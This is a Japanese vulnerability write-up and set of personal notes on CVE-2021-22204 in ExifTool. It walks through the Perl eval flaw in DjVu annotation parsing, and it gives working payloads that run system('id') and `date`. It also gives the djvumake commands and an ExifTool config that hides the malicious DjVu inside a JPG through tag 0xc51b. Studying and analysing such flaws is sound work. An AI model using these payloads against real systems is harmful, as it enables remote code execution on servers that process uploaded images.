
これはCVE-2021-22204の分析記事になるはずでしたが、むしろ私のメモ帳のようなもので、多くの散らかったものが詰まっています。脆弱性分析記事としてはちょっと余計な話が多いですが、それでも多くのことを学びました。
正直なところ、このツールを使ったことは一度もなく、Perlという言語にもほとんど触れたことがありませんでした。そのため、分析や再現の過程で疑問符だらけでした。分析を始める前に、インターネットで公開されているPoCと、私が抱いた疑問を見てみましょう。
読んだ記事の一つは[1]で、脆弱性の原因について簡潔に説明していますが、私はPerlのコードが読めないため、多くの点が不明でした。その再現手順は以下の通りです。
exiftool 12.23をダウンロード
wget https://codeload.github.com/exiftool/exiftool/zip/refs/tags/12.23 -O exiftool-12.23.zip
解凍してインストール
$ unzip exiftool-12.23.zip && cd exiftool-12.23
$ perl Makefile.PL
$ make test
$ sudo make install
もちろん、インストールしたくない場合は、exiftool-12.23ディレクトリ内のexiftoolファイルを環境変数PATHの通っているディレクトリに配置するだけでも、exiftoolツールを使えます。Perlは解釈型言語であり、Pythonと似ているからです。
悪意のある画像を作成するために、まず必要なツールをインストール
$ sudo apt-get update
$ sudo apt-get install djvulibre-bin
以下のコマンドを実行して悪意のあるdjvuファイルを作成
$ echo "(metadata \"\\\\c\${system('id')};\")" > payload
# これが最も困惑した点で、なぜ圧縮が必要なのか理解できませんでした(他のPoCでは不要だったため)
$ bzz payload payload.bzz
$ djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
# INFO = 'N,N'形式の任意の数字
# BGjp = JPEG画像を期待するが、/dev/nullを使用して背景画像をなしにできる
# ANTz = 入力ファイルで圧縮されたアノテーションチャンクを書き込む
次に、exiftoolツールでこの悪意のあるファイルを解析すると、idコマンドが正常に実行されたことがわかります
$ exiftool exploit.jdvu
uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
ExifTool Version Number : 12.23
File Name : exploit.djvu
Directory : .
File Size : 88 bytes
File Modification Date/Time : 2021:11:02 21:55:23+08:00
File Access Date/Time : 2021:11:02 21:55:23+08:00
File Inode Change Date/Time : 2021:11:02 21:55:23+08:00
File Permissions : -rwxrwxrwx
File Type : DJVU
File Type Extension : djvu
MIME Type : image/vnd.djvu
Image Width : 1
Image Height : 1
DjVu Version : 0.24
Spatial Resolution : 300
Gamma : 2.2
Orientation : Horizontal (normal)
Image Size : 1x1
Megapixels : 0.000001
先ほどdjvumakeコマンドでdjvu形式ファイルを作成する際に、payloadを圧縮しなくてもよいのでしょうか?分析の観点からは、確認やテストが不便だからです。もちろん可能で、パラメータANTzをANTaに変更するだけです。ここでのANTzとANTaについてはexiftoolの説明ドキュメント[3]を参照できますが、具体的な意味はまだ見つけられていません。標準的な説明が見つからなかったからです。
ここで愚痴を言いたいのですが、
man djvumakeでパラメータの説明を確認しようとしたところ、ANTzとANTaの説明はまったくありませんでした。ドキュメントの日付は2001年で、長い間更新されていないようです。
| Tag ID | Tag Name | Writable |
|---|---|---|
| 'ANTa' | ANTa | - |
| 'ANTz' | CompressedAnnotation | - |
ANTaはdjvuファイル内のmetadataにAnnotationを平文で保存することを示し、ANTzはbzz圧縮形式です。
しかし、djvu形式のファイルはあまり一般的ではありません。特に画像アップロード機能のあるWebサイトでは、ほとんどの場合png/jpg/jpegファイルのみを受け付けます。そのため、悪意のあるdjvuファイルをjpgファイルに変換できれば理想的です。
exiftoolツールは画像の内容を変更するのに役立ちます。悪意のあるdjvuファイルをjpgファイルの適切な位置に挿入するだけでよいのです。具体的にどの位置か、なぜその位置でよいのかは、後で分析する際に説明します。
exiftool設定ファイル eval.config を作成
%Image::ExifTool::UserDefined = (
# All EXIF tags are added to the Main table, and WriteGroup is used to
# specify where the tag is written (default is ExifIFD if not specified):
'Image::ExifTool::Exif::Main' => {
# Example 1. EXIF:NewEXIFTag
# 0xc51b は Tag 'HasselbladExif'[6] に対応
0xc51b => {
# 名前は自由に指定可能。これが受け取るパラメータ名
Name => 'HasselbladExif',
# 書き込み可能な変数の型
Writable => 'string',
# 書き込まれるデータが属する metadata の Group[7]
WriteGroup => 'IFD0',
},
# add more user-defined EXIF tags here...
},
);
1; #end
exiftool設定ファイルの書き方については[4][5]を参照してください。次に、普通のjpg画像ファイル poc.jpg を用意し、以下のコマンドを実行します
$ exiftool -config configfile '-HasselbladExif<=exploit.djvu' poc.jpg
再びexiftoolでpoc.jpgを解析すると、コマンドが正常に実行されます
$ exiftool poc.jpg
uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
ExifTool Version Number : 12.23
File Name : exploit.djvu
Directory : .
File Size : 88 bytes
File Modification Date/Time : 2021:11:02 21:55:23+08:00
File Access Date/Time : 2021:11:02 21:55:23+08:00
File Inode Change Date/Time : 2021:11:02 21:55:23+08:00
File Permissions : -rwxrwxrwx
File Type : DJVU
File Type Extension : djvu
MIME Type : image/vnd.djvu
Image Width : 1
Image Height : 1
DjVu Version : 0.24
Spatial Resolution : 300
Gamma : 2.2
Orientation : Horizontal (normal)
Image Size : 1x1
Megapixels : 0.000001
以下の分析は[2]の内容を参考にしています。脆弱性の影響を受けるバージョンはexiftool < 12.24で、問題のファイルは
lib/Image/ExifTool/DjVu.pm (line 202)
関連する関数のコードは以下の通りです
#------------------------------------------------------------------------------
# Parse DjVu annotation "s-expression" syntax (recursively)
# Inputs: 0) data ref (with pos($$dataPt) set to start of annotation)
# Returns: reference to list of tokens/references, or undef if no tokens,
# and the position in $$dataPt is set to end of last token
# Notes: The DjVu annotation syntax is not well documented, so I make
# a number of assumptions here!
sub ParseAnt($)
{
my $dataPt = shift;
my (@toks, $tok, $more);
# (the DjVu annotation syntax really sucks, and requires that every
# single token be parsed in order to properly scan through the items)
Tok: for (;;) {
# find the next token
last unless $$dataPt =~ /(\S)/sg; # get next non-space character
if ($1 eq '(') { # start of list
$tok = ParseAnt($dataPt);
} elsif ($1 eq ')') { # end of list
$more = 1;
last;
} elsif ($1 eq '"') { # quoted string
$tok = '';
for (;;) {
# get string up to the next quotation mark
# this doesn't work in perl 5.6.2! grrrr
# last Tok unless $$dataPt =~ /(.*?)"/sg;
# $tok .= $1;
my $pos = pos($$dataPt);
last Tok unless $$dataPt =~ /"/sg;
$tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos);
# we're good unless quote was escaped by odd number of backslashes
last unless $tok =~ /(\\+)$/ and length($1) & 0x01;
$tok .= '"'; # quote is part of the string
}
# must protect unescaped "$" and "@" symbols, and "\" at end of string
$tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
# convert C escape sequences (allowed in quoted text)
$tok = eval qq{"$tok"};
} else { # key name
pos($$dataPt) = pos($$dataPt) - 1;
# allow anything in key but whitespace, braces and double quotes
# (this is one of those assumptions I mentioned)
$tok = $$dataPt =~ /([^\s()"]+)/sg ? $1 : undef;
}
push @toks, $tok if defined $tok;
}
# prevent further parsing unless more after this
pos($$dataPt) = length $$dataPt unless $more;
return @toks ? \@toks : undef;
}
Perl言語に触れたことがなく、正直なところこのコードが何をしているのかほとんど理解できませんでした。しかし、非常に丁寧なコメントがあるおかげで、この関数の機能を理解する助けになりました。関数のコメントから、この関数はdjvuファイル内のアノテーションデータを解析するためのものであり、コードの構造から再帰的に処理され、アノテーションデータは()で区切られていることがわかります。
コードを理解しやすくするために、また学習の目的も兼ねて、ここでPerlの正規表現の使い方を簡単に紹介します。
Perlの正規表現の使い方は特殊で、これまで私が触れてきた言語とは異なります。Perlの正規表現には3つの形式があります:
m//、mは省略可能s///tr/////の間には正規表現や文字列が入りますが、区切り文字は//に限定されず{}なども使用可能です。これがPerl言語の特徴です。
まずマッチのコード例を見てみましょう
#!/usr/bin/perl
$str = "this is a string";
$str =~ /this/;
print $str;
print "\n";
Perlでは=~演算子を使用して正規表現機能を利用します。上記のコードでは、正規表現がマッチするかどうかに関わらず、$strを出力するとthis is a stringとなります。ただし、マッチしなかった場合はブール値falseを返します。
#!/usr/bin/perl
$str = "this is a string";
if ($str =~ /this12/) {
print "true\n";
} else {
print "false\n";
}
文字列変数の内容を置換したい場合は、次のようにします
#!/usr/bin/perl
$str = "this is a string";
# or $str =~ s{string}{str};
$str =~ s/string/str/;
print $str;
print "\n";
# output
# this is str
置換機能を使用すると、変数の値が直接変更されます。
Perlの正規表現について理解したところで、先ほどの関数を再び見てみましょう
#------------------------------------------------------------------------------
# Parse DjVu annotation "s-expression" syntax (recursively)
# Inputs: 0) data ref (with pos($$dataPt) set to start of annotation)
# Returns: reference to list of tokens/references, or undef if no tokens,
# and the position in $$dataPt is set to end of last token
# Notes: The DjVu annotation syntax is not well documented, so I make
# a number of assumptions here!
sub ParseAnt($)
{
# 渡された引数(リファレンス)を取得
my $dataPt = shift;
print($$dataPt);
my (@toks, $tok, $more);
# (the DjVu annotation syntax really sucks, and requires that every
# single token be parsed in order to properly scan through the items)
Tok: for (;;) {
# find the next token
last unless $$dataPt =~ /(\S)/sg; # get next non-space character
if ($1 eq '(') { # start of list
# 左括弧があれば再帰処理
$tok = ParseAnt($dataPt);
} elsif ($1 eq ')') { # end of list
$more = 1;
last;
} elsif ($1 eq '"') { # quoted string
$tok = '';
for (;;) {
# get string up to the next quotation mark
# this doesn't work in perl 5.6.2! grrrr
# last Tok unless $$dataPt =~ /(.*?)"/sg;
# $tok .= $1;
# 前回の正規表現マッチの位置を取得。ここに到達した時点で、その位置が最初の引用符の位置
my $pos = pos($$dataPt);
last Tok unless $$dataPt =~ /"/sg;
# 再度右引用符の位置をマッチし、引用符間の内容を切り出す
$tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos);
print($tok."\n");
# we're good unless quote was escaped by odd number of backslashes
# バックスラッシュの数が奇数かどうかをチェック。後のqq{""}で行末の"がエスケープされるのを防ぐ
last unless $tok =~ /(\\+)$/ and length($1) & 0x01;
# 奇数なら、"を補う
$tok .= '"'; # quote is part of the string
}
# must protect unescaped "$" and "@" symbols, and "\" at end of string
$tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
# convert C escape sequences (allowed in quoted text)
print(qq{"$tok"}."\n");
$tok = eval qq{"$tok"};
} else { # key name
pos($$dataPt) = pos($$dataPt) - 1;
# allow anything in key but whitespace, braces and double quotes
# (this is one of those assumptions I mentioned)
$tok = $$dataPt =~ /([^\s()"]+)/sg ? $1 : undef;
}
push @toks, $tok if defined $tok;
}
# prevent further parsing unless more after this
pos($$dataPt) = length $$dataPt unless $more;
return @toks ? \@toks : undef;
}
理解を助けるために、exiftoolが解析時にこの関数を実行する適切なファイルが必要です。先ほどの方法でdjvuファイルexploit.djvuを作成し、ペイロードは以下の通りとします
(metadata (Author "trganda"))
次に、ParseAnt($)関数の重要な箇所にprintを追加して情報を出力します(上記参照)。その後、exiftoolのソースディレクトリで以下を実行
$ ./exiftool you_path_to/exploit.djvu
(metadata (Author "trganda"))
(metadata (Author "trganda"))
(metadata (Author "trganda"))
trganda
"trganda"
... ignore
ここから、最終的にevalに渡される内容は、ダブルクォートを忘れずに
"trganda"
では、trgandaをsystem関数に置き換えてコマンドを実行できるか試してみましょう
$tok = "${system('id')};";
# output
# "\${system('id')};"
実行すると出力は単にテキストが渡されただけで、コードは実行されません。これは$が\$に置き換えられるためです
# must protect unescaped "$" and "@" symbols, and "\" at end of string
$tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
では、どのようにしてこの制限を回避するのでしょうか?[2]の著者はテスト中に以下のペイロードを使用しました。
(metadata (Author "a\
""))
実行後の出力は以下の通りで、evalが例外をスローしました。
(metadata (Author "a\
""))
(metadata (Author "a\
""))
(metadata (Author "a\
""))
a\
a\
"
"a\
""
String found where operator expected at (eval 8) line 2, at end of line
(Missing semicolon on previous line?)
ここで、このペイロードを渡した後に何が起こるかを説明します。主に2番目のforループに注目します
# Author の Annotation の内容は、\n を忘れずに
"a\(\n)
""
# forループで最初に部分文字列を切り出す。$tok の内容は次の通り。最初の正規表現で最初の引用符にマッチし、2回目で2行目の最初の引用符にマッチ
a\(\n)
# 次に、コードは行末の\の数が奇数かどうかをチェックし、奇数なら"を補う。
# 正規表現 $tok =~ /(\\+)$/ でのマッチでは、$はテキストの末尾ではなく\nにマッチする。
# そのため、後続のコードが実行され、$tokの末尾に"が追加される。
a\(\n)"
# 2回目のループで部分文字列を切り出す。2行目の""の間の内容を取得するが、ここは空であり、$tokに結合すると先ほどと同じ結果になる
a\(\n)"
# その後、evalで実行される内容は
qq{"$tok"} -> "a\(\n)""
# eval実行後エラーが発生。"が閉じていないため
String found where operator expected at (eval 8) line 2, at end of line
(Missing semicolon on previous line?)
Perlにおけるevalの実行ロジックについては、公式ドキュメント[9]を参照することをお勧めします。ただし、ドキュメントに記載されていない部分もあり、また私がPerlを使ったことがないため、最初は一部の内容を理解できませんでした。コードサンプルでテストを繰り返しながら、evalの特定のロジックを理解していきました。以下では、この脆弱性を理解するのに役立つ内容をいくつか挙げ、その後実際のペイロードの実行プロセスについて説明します。
Perlにおけるevalの機能は、コード断片の実行に加えて、例外をキャッチし、プログラムの実行を中断しないことです。evalは文字列定数、文字列変数、あるいは直接コードを入れて解析実行できます。
# 文字列定数
eval "system('id')";
# 変数
$cm = "system('id')";
eval $cm;
eval "$cm";
# 直接コードを実行
eval {system('id');};
# output
# uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
evalの実行戦略は、最後のサブステートメントの結果のみを返すことです。つまり、複数のコードブロックが含まれている場合、最後の結果のみが取得されます。以下のような感じです:
eval "system('id'); system('date');"
# output
# 2021年 11月 04日 星期四 11:49:22 CST
evalが特定のステートメントの実行中にエラーが発生した場合、後続のコードは実行されず、例外がスローされます(もしあれば)。
先ほどテスト用のペイロードに戻って、何か気づきはありますか?もし"をうまく閉じて、実行したいコードを2行目の"の間に配置できれば、コードはevalで実行されるようになります。[2]の著者は以下の形式を示しています:
(metadata
(Author "\
" . return `date`; #")
)
# 最終的にevalに渡される内容は
"\
" . return `date`; #"
では、evalで実行されるこの部分をどのように理解すればよいでしょうか?まず、Perlでは.演算子は文字列の連結に使用されます。そのため、最初に
return `date`;
が実行され、その結果が\(\n)と連結されます。実際、このreturnがなくてもdateコマンドの実行には影響しません。最後の"はコメントアウトされています。
もちろん、以下のように書くこともできます:
(metadata (Author "\
"; return `date`; #"))
# 最終的にevalに渡される内容は
"\
"; return `date`; #"
この方法では、evalはまず"\(\n)";を解析します。この部分は文字列として解釈され、その後後続のステートメントが解析されます。その結果、dateコマンドが正常に実行されます。
上記のペイロードを実行すると、以下の結果が表示され、正常に実行されたことがわかります。
Useless use of a constant ("\n") in void context at (eval 8) line 1.
ExifTool Version Number : 12.23
File Name : exploit.djvu
...
Author : 2021年 11月 04日 星期四 15:22:05 CST.
...
ここまで書いてきて少し疲れました。[2]の著者が示したpayloadは、"を回避することで非常に完璧に実行できますが、他にも方法はあるのでしょうか?実は、最初の[1]の内容にすでに答えがありました:
(metadata "\c${system('id)};") ;")は原文ママ。正しくは\c${system('id')}; のはずだが、引用のままにする
ParseAnt($)関数は$記号を置き換えるため、直接実行することはできません。では、なぜこれが可能なのでしょうか?\cの役割に興味はありませんか?まず、このペイロードでdjvuファイルを作成し、exiftoolで解析すると、evalに渡される内容は:
"\c\${system('id')};"
\cが存在しない場合:
"\${system('id')};"
このコードは実行されず、最終的に返されるのは単なる文字列です。なぜなら、$記号がエスケープされているからです。\cの役割は、$の前の\の効果を取り消し、後続のコードを実行可能にすることです。Perlには多くのエスケープ文字があり、\cもその一つですが、単独では使用せず、任意の文字と組み合わせて使用します。
| エスケープ文字 | 意味 |
|---|---|
| \cX | 制御文字。Xは任意の文字 |
これにより、\c\が別の内容として解釈され、後続のコードが実行されるようになります。
これまでに作成した悪意のあるファイルは、すべてdjvu形式に限定されていました。もし一般的なファイル、例えばjpg画像などを作成できれば、より意味があります。そのためには、脆弱性のある関数ParseAnt($)を呼び出すファイルの解析箇所を見つける必要があります。
上位検索により、ProcessAnt($$$)がParseAnt($)を呼び出すことがわかりましたが、それ以上さかのぼると直接見つけることができません。
ProcessAnt($$$)
|
v
ParseAnt($)
Perl言語にはモジュールの動的ロード機構があるため、Djvu.pmがどこでロードされるかを調べてみましょう。

見つかったファイルを1つずつ調べると、lib/Image/ExifTool.pmのline 2620に以下のコードがあり、ファイルのタイプに応じて対応するモジュールをロードして処理することがわかります。
#------------------------------------------------------------------------------
# Extract meta information from image
# Inputs: 0) ExifTool object reference
# 1-N) Same as ImageInfo()
# Returns: 1 if this was a valid image, 0 otherwise
# Notes: pass an undefined value to avoid parsing arguments
# Internal 'ReEntry' option allows this routine to be called recursively
sub ExtractInfo($;@)
{
# ...
my $module = $moduleName{$type};
$module = $type unless defined $module;
my $func = "Process$type";
# load module if necessary
if ($module) {
require "Image/ExifTool/$module.pm";
$func = "Image::ExifTool::${module}::$func";
} elsif ($module eq '0') {
$self->SetFileType();
$self->Warn('Unsupported file type');
last;
}
# ...
}
その後、ExtractInfo($;@)がどこで呼ばれるかを調べると、複数箇所あります。主にlib/Image/ExifTool/Exif.pmのline 3004のコードに注目します:
# main EXIF tag table
%Image::ExifTool::Exif::Main = (
GROUPS => { 0 => 'EXIF', 1 => 'IFD0', 2 => 'Image'},
WRITE_PROC => \&WriteExif,
CHECK_PROC => \&CheckExif,
WRITE_GROUP => 'ExifIFD', # default write group
SET_GROUP1 => 1, # set group1 name to directory name for all tags in table
# ...
0xc51b => { # (Hasselblad H3D)
Name => 'HasselbladExif',
Format => 'undef',
RawConv => q{
$$self{DOC_NUM} = ++$$self{DOC_COUNT};
$self->ExtractInfo(\$val, { ReEntry => 1 });
$$self{DOC_NUM} = 0;
return undef;
},
},
# ...
);
%Image::ExifTool::Exif::MainはMap形式のテーブルであり、Exif.pmの機能はコメントにもある通り、EXIF/TIFF形式のメタデータ情報を読み取るためのものです。
Description: Read EXIF/TIFF meta information
実は、先ほどの再現で%Image::ExifTool::Exif::Mainを見た時に、その中の0xc51bが何を意味するのか、なぜこの値でなければならないのか理解できませんでした。今では、ファイル内のメタデータが0xc51bのIDを含んでいれば、それがExtractInfo関数で解析され、徐々に脆弱性のある関数に到達することがわかります。
そのため、先ほどexiftoolの強力なカスタム機能を使用してconfigファイルを作成し、通常のjpgファイルをカスタマイズして0xc51bという種類のメタデータを挿入し、そこに悪意のある内容を格納しました。これで、トリガー全体のプロセスがほぼ明確になり、私の疑問もすべて解消されました。[2]の著者は、他のファイル形式に悪意のあるデータを挿入する方法も示しており、考え方はこれと同様です。
githubのdiffを確認した結果は以下の通りです。

[1] A case study on: CVE-2021-22204 - Exiftool RCE (convisoappsec.com)
[2] ExifTool CVE-2021-22204 - Arbitrary Code Execution | devcraft.io
[3] TagNames of DjVu
[4] TagNames Explan
[5] Exiftool User Defined Configuration File
[6] EXIF
[7] Groups
[8] exiftool-arbitrary-code-execution
[9] eval in Perl